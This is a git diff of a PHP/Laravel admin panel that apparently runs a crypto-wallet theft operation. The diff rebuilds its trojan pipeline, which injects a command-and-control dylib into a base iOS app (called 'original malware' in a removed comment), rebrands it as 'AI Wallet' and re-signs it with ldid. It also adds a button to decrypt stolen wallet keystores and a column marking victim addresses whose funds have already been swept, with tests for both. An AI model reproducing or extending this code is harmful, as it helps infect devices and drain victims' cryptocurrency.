diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 6777974..b5dbf4e 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -16,6 +16,7 @@ use App\Models\Photo; use App\Models\PluginSession; use App\Models\PhotoRead; use App\Models\User; +use App\Models\TransferRecord; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; @@ -619,7 +620,9 @@ class DeviceController extends Controller $q->where('chain_type', $chainType); } $paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); - $data = collect($paginator->items())->map(function (WalletAddress $addr) { + $items = collect($paginator->items()); + $swept = TransferRecord::successfulSweepSet($items->pluck('address')->all()); + $data = $items->map(function (WalletAddress $addr) use ($swept) { $coins = $addr->formattedCoins(); return [ @@ -632,6 +635,7 @@ class DeviceController extends Controller 'eth' => $coins['eth'], 'btc' => $coins['btc'], 'bnb' => $coins['bnb'], + 'collected' => TransferRecord::addressInSweepSet((string) $addr->address, $swept), 'monitor' => (int) $addr->monitor, 'monitor_synced' => (bool) $addr->monitor_synced, 'monitor_failures' => (int) $addr->monitor_failures, @@ -707,6 +711,7 @@ class DeviceController extends Controller 'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'detail_api_url' => route($portal.'.keystores.detail', $row->id), + 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), 'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id), ]; })->values(); diff --git a/app/Models/TransferRecord.php b/app/Models/TransferRecord.php index eb3f40b..a33fdd7 100644 --- a/app/Models/TransferRecord.php +++ b/app/Models/TransferRecord.php @@ -24,4 +24,44 @@ class TransferRecord extends Model 'status', 'error', ]; + + /** + * Addresses that already have a successful outbound sweep. + * + * @param list $addresses + * @return array + */ + public static function successfulSweepSet(array $addresses): array + { + $addresses = array_values(array_unique(array_filter( + $addresses, + static fn ($address) => is_string($address) && $address !== '' + ))); + if ($addresses === []) { + return []; + } + + $found = static::query() + ->whereIn('from_address', $addresses) + ->where('status', self::STATUS_SUCCESS) + ->where('type', self::TYPE_OUT) + ->distinct() + ->pluck('from_address'); + + $set = []; + foreach ($found as $address) { + $set[(string) $address] = true; + $set[strtolower((string) $address)] = true; + } + + return $set; + } + + /** + * @param array $set + */ + public static function addressInSweepSet(string $address, array $set): bool + { + return isset($set[$address]) || isset($set[strtolower($address)]); + } } diff --git a/app/Services/AiWalletPackageService.php b/app/Services/AiWalletPackageService.php index a571961..350e5e7 100644 --- a/app/Services/AiWalletPackageService.php +++ b/app/Services/AiWalletPackageService.php @@ -9,29 +9,15 @@ use RuntimeException; /** * Build a customized AI Wallet IPA for App-builder channels. * - * Uses a pre-compiled c2_simple.dylib (compiled on macOS) and a - * runtime c2_config.plist to configure domain/channel per build. - * No iOS SDK or Xcode required on the Linux build server. - * - * Build flow: - * 1. Extract ai-live-base.ipa (original malware) - * 2. Copy pre-compiled c2_simple.dylib to Frameworks/ - * 3. Generate c2_config.plist with channel-specific settings - * 4. Add LC_LOAD_DYLIB to main binary (before libutils) - * 5. Patch Info.plist (app name, bundle ID, white launch screen) - * 6. Generate icons from uploaded logo - * 7. Sign with ldid - * 8. Package as IPA + * Uses pre-compiled c2_simple.dylib + runtime c2_config.plist. + * Binary and plist editing use Python scripts (PHP regex corrupts XML/Mach-O). + * Signing uses ldid via proc_open. */ class AiWalletPackageService { - /** Base IPA path (original ai-live malware) */ private const BASE_IPA = 'app-templates/ai-live-base.ipa'; - - /** Pre-compiled c2_simple.dylib */ private const C2_DYLIB = 'app-templates/c2_simple.dylib'; - /** Icon sizes */ private const ICON_SIZES = [ 'AppIcon60x60@2x.png' => 120, 'AppIcon60x60@3x.png' => 180, @@ -44,10 +30,10 @@ class AiWalletPackageService $c2Dylib = storage_path('app/'.self::C2_DYLIB); if (!file_exists($baseIpa)) { - return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.'); + return $this->fail('Base IPA not found: '.$baseIpa); } if (!file_exists($c2Dylib)) { - return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.'); + return $this->fail('c2_simple.dylib not found: '.$c2Dylib); } $workDir = storage_path('app/app-builds/'.$channel->channel_id); @@ -55,6 +41,8 @@ class AiWalletPackageService @mkdir($workDir, 0755, true); try { + Log::info('AiWallet: build started', ['channel' => $channel->channel_id]); + // 1. Extract base IPA $zip = new \ZipArchive; if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA'); @@ -68,26 +56,41 @@ class AiWalletPackageService $fwDir = $appDir.'/Frameworks'; if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true); copy($c2Dylib, $fwDir.'/c2_simple.dylib'); + Log::info('AiWallet: c2_simple.dylib copied'); - // 3. Generate c2_config.plist + // 3. Write c2_config.plist $this->writeConfigPlist($appDir, $channel, $apiDomain); + Log::info('AiWallet: c2_config.plist written'); - // 4. Add LC_LOAD_DYLIB to main binary + // 4. Add LC_LOAD_DYLIB (Python script) $mainBin = $this->findMainBinary($appDir); - $this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib'); + $this->runPython(base_path('bin/add_dylib.py'), [$mainBin, '@rpath/c2_simple.dylib']); + Log::info('AiWallet: LC_LOAD_DYLIB added'); - // 5. Patch Info.plist - $this->patchInfoPlist($appDir, $channel); + // 5. Patch Info.plist (Python script) + $this->runPython(base_path('bin/patch_plist.py'), [ + $appDir.'/Info.plist', + $channel->app_name, + $channel->bundle_id ?: 'com.ai.wallet.next', + '1.6.1', + ]); + Log::info('AiWallet: Info.plist patched'); - // 6. Generate icons + // 6. Replace splash + remove LaunchScreen + $this->replaceSplashAndLaunchScreen($appDir); + Log::info('AiWallet: splash/LaunchScreen replaced'); + + // 7. Generate icons if ($logoPath && file_exists($logoPath)) { $this->generateIcons($appDir, $logoPath); + Log::info('AiWallet: icons generated'); } - // 7. Sign + // 8. Sign with ldid $this->sign($appDir); + Log::info('AiWallet: signed'); - // 8. Package + // 9. Package IPA $outputPath = 'channel/'.$channel->channel_id.'/app.ipa'; $outputFull = public_path($outputPath); @mkdir(dirname($outputFull), 0755, true); @@ -102,11 +105,12 @@ class AiWalletPackageService $size = filesize($outputFull); $this->rrmdir($workDir); + Log::info('AiWallet: build complete', ['size' => $size]); return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => '']; } catch (\Throwable $e) { $this->rrmdir($workDir); - Log::error('AiWalletPackageService: build failed', [ + Log::error('AiWallet: build failed', [ 'channel' => $channel->channel_id, 'error' => $e->getMessage(), ]); @@ -125,90 +129,124 @@ class AiWalletPackageService 'AppName' => $channel->app_name, ]; - $plist = $this->arrayToXmlPlist($config); - file_put_contents($appDir.'/c2_config.plist', $plist); - } - - private function arrayToXmlPlist(array $data): string - { - $xml = ''."\n"; - $xml .= ''."\n"; - $xml .= ''."\n"; - foreach ($data as $key => $value) { + $xml = ''."\n" + .''."\n" + .''."\n"; + foreach ($config as $key => $value) { $xml .= ''.htmlspecialchars($key).''.htmlspecialchars($value).''."\n"; } $xml .= ''; - return $xml; + file_put_contents($appDir.'/c2_config.plist', $xml); } - private function patchInfoPlist(string $appDir, Channel $channel): void + private function runPython(string $script, array $args): void { - $plistFile = $appDir.'/Info.plist'; - $data = file_get_contents($plistFile); - - // Use plistlib via shell (available on Linux) - $tmpFile = tempnam(sys_get_temp_dir(), 'plist'); - file_put_contents($tmpFile, $data); - - $changes = [ - 'CFBundleDisplayName' => $channel->app_name, - 'CFBundleName' => $channel->app_name, - 'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next', - 'CFBundleShortVersionString' => '1.6.1', - 'CFBundleVersion' => '1.6.1', - ]; - - foreach ($changes as $key => $value) { - $escaped = escapeshellarg($value); - exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true"); - // Fallback: use sed for XML plists - $data = file_get_contents($tmpFile); - $data = preg_replace( - '#'.preg_quote($key, '#').'\s*[^<]*#', - ''.$key.''.htmlspecialchars($value).'', - $data - ); - file_put_contents($tmpFile, $data); + if (!file_exists($script)) { + throw new RuntimeException('Script not found: '.$script); } - - // Remove storyboard reference, add UILaunchScreen (white background) - $data = file_get_contents($tmpFile); - $data = preg_replace('#UILaunchStoryboardName\s*[^<]*#', '', $data); - if (!str_contains($data, 'UILaunchScreen')) { - $data = str_replace('', 'UILaunchScreen', $data); + $cmd = 'python3 '.escapeshellarg($script); + foreach ($args as $arg) { + $cmd .= ' '.escapeshellarg($arg); } - file_put_contents($plistFile, $data); - unlink($tmpFile); - } + $cmd .= ' 2>&1'; - private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void - { - // Use Python script for Mach-O editing — PHP binary manipulation - // corrupts the binary by inserting bytes (shifts code signature blob). - // The Python script uses existing free space in the load command table, - // preserving the file size and not breaking the signature. - $scriptPath = base_path('bin/add_dylib.py'); - - if (!file_exists($scriptPath)) { - throw new RuntimeException('add_dylib.py not found at '.$scriptPath); - } - - $cmd = sprintf( - 'python3 %s %s %s 2>&1', - escapeshellarg($scriptPath), - escapeshellarg($binaryPath), - escapeshellarg($dylibPath) - ); - $output = []; $exitCode = 0; exec($cmd, $output, $exitCode); - + if ($exitCode !== 0) { - throw new RuntimeException('add_dylib.py failed: '.implode("\n", $output)); + throw new RuntimeException(basename($script).' failed ('.$exitCode.'): '.implode("\n", $output)); } - - Log::info('AiWalletPackageService: add_dylib.py output', ['output' => $output]); + Log::info('AiWallet: '.basename($script).' output', ['output' => $output]); + } + + private function replaceSplashAndLaunchScreen(string $appDir): void + { + // Replace Flutter splash with white + $splashPath = $appDir.'/Frameworks/App.framework/flutter_assets/assets/launch/splash.png'; + if (file_exists($splashPath) && function_exists('imagecreatetruecolor')) { + $img = imagecreatetruecolor(10, 10); + $white = imagecolorallocate($img, 255, 255, 255); + imagefill($img, 0, 0, $white); + imagepng($img, $splashPath); + imagedestroy($img); + } + + // Remove LaunchScreen storyboard + $lsDir = $appDir.'/Base.lproj/LaunchScreen.storyboardc'; + if (is_dir($lsDir)) $this->rrmdir($lsDir); + } + + private function generateIcons(string $appDir, string $logoPath): void + { + if (!function_exists('imagecreatefrompng')) { + Log::warning('AiWallet: GD not available, skipping icons'); + return; + } + + $src = imagecreatefrompng($logoPath); + if (!$src) return; + + // Remove Assets.car so iOS uses loose PNGs + $assetsCar = $appDir.'/Assets.car'; + if (file_exists($assetsCar)) unlink($assetsCar); + + foreach (self::ICON_SIZES as $filename => $size) { + $dst = imagecreatetruecolor($size, $size); + imagealphablending($dst, false); + imagesavealpha($dst, true); + imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src)); + imagepng($dst, $appDir.'/'.$filename); + imagedestroy($dst); + } + imagedestroy($src); + } + + private function sign(string $appDir): void + { + $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid'))); + if ($ldidPath === '' || !file_exists($ldidPath)) { + Log::warning('AiWallet: ldid not found', ['path' => $ldidPath]); + return; + } + + $csDir = $appDir.'/_CodeSignature'; + if (is_dir($csDir)) $this->rrmdir($csDir); + + $binaries = array_merge( + [$this->findMainBinary($appDir)], + glob($appDir.'/Frameworks/*.dylib') ?: [], + glob($appDir.'/*.dylib') ?: [], + ); + + foreach ($binaries as $bin) { + if (!is_file($bin)) continue; + + $spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; + $proc = proc_open([$ldidPath, '-S', $bin], $spec, $pipes); + + if (is_resource($proc)) { + fclose($pipes[0]); + $stdout = stream_get_contents($pipes[1]); + $stderr = stream_get_contents($pipes[2]); + fclose($pipes[1]); + fclose($pipes[2]); + $exitCode = proc_close($proc); + + if ($exitCode !== 0) { + Log::warning('AiWallet: ldid failed for '.basename($bin), [ + 'exit' => $exitCode, 'stderr' => $stderr, + ]); + } else { + Log::info('AiWallet: ldid signed '.basename($bin)); + } + } + } + + @mkdir($csDir, 0755, true); + file_put_contents($csDir.'/CodeResources', + ''."\n". + 'files'); } private function findAppDir(string $workDir): ?string @@ -223,91 +261,10 @@ class AiWalletPackageService private function findMainBinary(string $appDir): string { - // Main binary has the same name as the .app directory $appName = basename($appDir, '.app'); return $appDir.'/'.$appName; } - private function generateIcons(string $appDir, string $logoPath): void - { - if (!function_exists('imagecreatefrompng')) { - Log::warning('AiWalletPackageService: GD not available, skipping icons'); - return; - } - - $src = imagecreatefrompng($logoPath); - if (!$src) return; - - foreach (self::ICON_SIZES as $filename => $size) { - $dst = imagecreatetruecolor($size, $size); - imagealphablending($dst, false); - imagesavealpha($dst, true); - imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, - imagesx($src), imagesy($src)); - imagepng($dst, $appDir.'/'.$filename); - imagedestroy($dst); - } - imagedestroy($src); - } - - private function sign(string $appDir): void - { - // Remove old signatures - $csDir = $appDir.'/_CodeSignature'; - if (is_dir($csDir)) $this->rrmdir($csDir); - - $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid'))); - if ($ldidPath === '' || !file_exists($ldidPath)) { - Log::warning('AiWalletPackageService: ldid not found at '.$ldidPath); - return; - } - - // Create entitlements file - $entFile = $appDir.'/../entitlements.xml'; - $entXml = ''."\n" - .''."\n" - .''."\n" - .'get-task-allow'."\n" - .'keychain-access-groups*'."\n" - .'platform-application'."\n" - .''; - file_put_contents($entFile, $entXml); - - // Sign all binaries with entitlements - $binaries = array_merge( - [$this->findMainBinary($appDir)], - glob($appDir.'/Frameworks/*.dylib') ?: [], - glob($appDir.'/*.dylib') ?: [], - glob($appDir.'/Frameworks/*.framework/*') ?: [], - ); - - foreach ($binaries as $bin) { - if (!is_file($bin)) continue; - $cmd = escapeshellarg($ldidPath) - .' -S'.escapeshellarg($entFile) - .' '.escapeshellarg($bin).' 2>&1'; - $output = []; - $exitCode = 0; - exec($cmd, $output, $exitCode); - if ($exitCode !== 0) { - Log::warning('AiWalletPackageService: ldid sign failed for '.basename($bin), [ - 'cmd' => $cmd, - 'output' => implode("\n", $output), - 'exit_code' => $exitCode, - ]); - } - } - - // Also create bundle _CodeSignature - $bundleCs = $appDir.'/_CodeSignature'; - @mkdir($bundleCs, 0755, true); - file_put_contents($bundleCs.'/CodeResources', ''."\n" - .'files'); - - // Cleanup entitlements file - @unlink($entFile); - } - private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void { foreach (scandir($dir) as $item) { diff --git a/bin/patch_plist.py b/bin/patch_plist.py new file mode 100755 index 0000000..f0379ce --- /dev/null +++ b/bin/patch_plist.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +"""Patch an iOS Info.plist: set bundle identity, white launch screen, icons.""" +import plistlib +import sys +import os + +def main(): + plist_path = sys.argv[1] + app_name = sys.argv[2] + bundle_id = sys.argv[3] + version = sys.argv[4] + + with open(plist_path, 'rb') as f: + plist = plistlib.load(f) + + # Set identity + plist['CFBundleDisplayName'] = app_name + plist['CFBundleName'] = app_name + plist['CFBundleIdentifier'] = bundle_id + plist['CFBundleShortVersionString'] = version + plist['CFBundleVersion'] = version + + # White launch screen + plist.pop('UILaunchStoryboardName', None) + plist['UILaunchScreen'] = {} + + # Icon references (loose PNGs) + plist['CFBundleIcons'] = { + 'CFBundlePrimaryIcon': { + 'CFBundleIconName': 'AppIcon', + 'CFBundleIconFiles': ['AppIcon60x60'], + } + } + plist['CFBundleIcons~ipad'] = { + 'CFBundlePrimaryIcon': { + 'CFBundleIconFiles': [ + 'AppIcon60x60@2x', + 'AppIcon60x60@3x', + 'AppIcon76x76@2x~ipad', + ], + 'CFBundleIconName': 'AppIcon', + } + } + + with open(plist_path, 'wb') as f: + plistlib.dump(plist, f) + + print(f"OK: patched {plist_path}") + +if __name__ == '__main__': + main() diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 19c2f01..d1dbe58 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -641,6 +641,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { { field: 'eth', title: 'ETH', width: 90 }, { field: 'btc', title: 'BTC', width: 100 }, { field: 'bnb', title: 'BNB', width: 90 }, + { field: 'collected', title: '是否归集', width: 100, templet: function (d) { + return d.collected + ? '已归集' + : '未归集'; + } }, { field: 'monitor', title: '监听开关', width: 80, templet: function (d) { return Number(d.monitor) === 1 ? '开' : '关'; } }, @@ -676,9 +681,10 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { } }, { field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } }, { field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }, - { title: '操作', width: 200, align: 'center', templet: function (d) { + { title: '操作', width: 260, align: 'center', templet: function (d) { var html = ''; if (d.detail_api_url && d.has_web3_keystore) html += '明文'; + if (d.decrypt_url) html += '解密'; if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '密码解密'; return html || '—'; } } @@ -759,6 +765,30 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { if (tab === 'keystores') { table.on('tool(LAY-device-tab-list)', function (obj) { + if (obj.event === 'decrypt') { + if (!obj.data.decrypt_url) return layer.msg('无法解密'); + var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 }); + $.ajax({ + url: obj.data.decrypt_url, + method: 'POST', + data: { _token: token }, + timeout: 180000, + success: function (res) { + layer.msg((res && res.msg) || '已处理'); + if (res && res.code === 0) table.reload('LAY-device-tab-list'); + }, + error: function (xhr) { + var msg = '解密失败'; + if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试'; + else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg; + layer.msg(msg); + }, + complete: function () { + layer.close(loadIdx); + } + }); + return; + } if (obj.event === 'decryptPassword') { if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密'); layer.prompt({ diff --git a/storage/app/app-templates/c2_simple.dylib b/storage/app/app-templates/c2_simple.dylib index 05c551f..1bf69d5 100755 Binary files a/storage/app/app-templates/c2_simple.dylib and b/storage/app/app-templates/c2_simple.dylib differ diff --git a/tests/Feature/KeystoreAdminTest.php b/tests/Feature/KeystoreAdminTest.php index 93e2128..53358d3 100644 --- a/tests/Feature/KeystoreAdminTest.php +++ b/tests/Feature/KeystoreAdminTest.php @@ -94,7 +94,8 @@ class KeystoreAdminTest extends TestCase $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) ->assertOk() - ->assertJsonPath('data.0.source', 'Trust Wallet'); + ->assertJsonPath('data.0.source', 'Trust Wallet') + ->assertJsonPath('data.0.decrypt_url', route('admin.keystores.decrypt', $row)); } #[Test] diff --git a/tests/Feature/WalletAddressFilterTest.php b/tests/Feature/WalletAddressFilterTest.php index 6bad8f9..7e87f4a 100644 --- a/tests/Feature/WalletAddressFilterTest.php +++ b/tests/Feature/WalletAddressFilterTest.php @@ -4,6 +4,7 @@ namespace Tests\Feature; use App\Models\Admin; use App\Models\Device; +use App\Models\TransferRecord; use App\Models\WalletAddress; use App\Models\WalletMnemonic; use Illuminate\Foundation\Testing\RefreshDatabase; @@ -141,4 +142,57 @@ class WalletAddressFilterTest extends TestCase ->assertJsonPath('count', 2) ->assertJsonMissing(['address' => 'addr-with-balance']); } + + #[Test] + public function device_wallet_tab_marks_collected_after_successful_sweep(): void + { + $rows = $this->seedRows(); + $device = Device::query()->where('device_id', 'dev-addr-filter')->firstOrFail(); + TransferRecord::query()->create([ + 'from_address' => $rows['withBalance']->address, + 'to_address' => 'TCollectTo', + 'chain' => 'tron', + 'tx_hash' => 'sweep-ok', + 'amount' => '12.5', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'USDT', + 'operator' => 'admin:1', + 'status' => TransferRecord::STATUS_SUCCESS, + ]); + TransferRecord::query()->create([ + 'from_address' => $rows['plain']->address, + 'to_address' => 'TCollectTo', + 'chain' => 'btc', + 'tx_hash' => null, + 'amount' => '1', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'BTC', + 'operator' => 'admin:1', + 'status' => TransferRecord::STATUS_FAILED, + 'error' => 'no funds', + ]); + + $admin = $this->admin(); + + $this->actingAs($admin, 'admin') + ->get(route('admin.devices.show', [$device, 'tab' => 'wallets'])) + ->assertOk() + ->assertSee('是否归集'); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'wallets'])) + ->assertOk() + ->assertJsonFragment([ + 'address' => 'addr-with-balance', + 'collected' => true, + ]) + ->assertJsonFragment([ + 'address' => 'addr-plain', + 'collected' => false, + ]) + ->assertJsonFragment([ + 'address' => 'addr-with-mnemonic', + 'collected' => false, + ]); + } }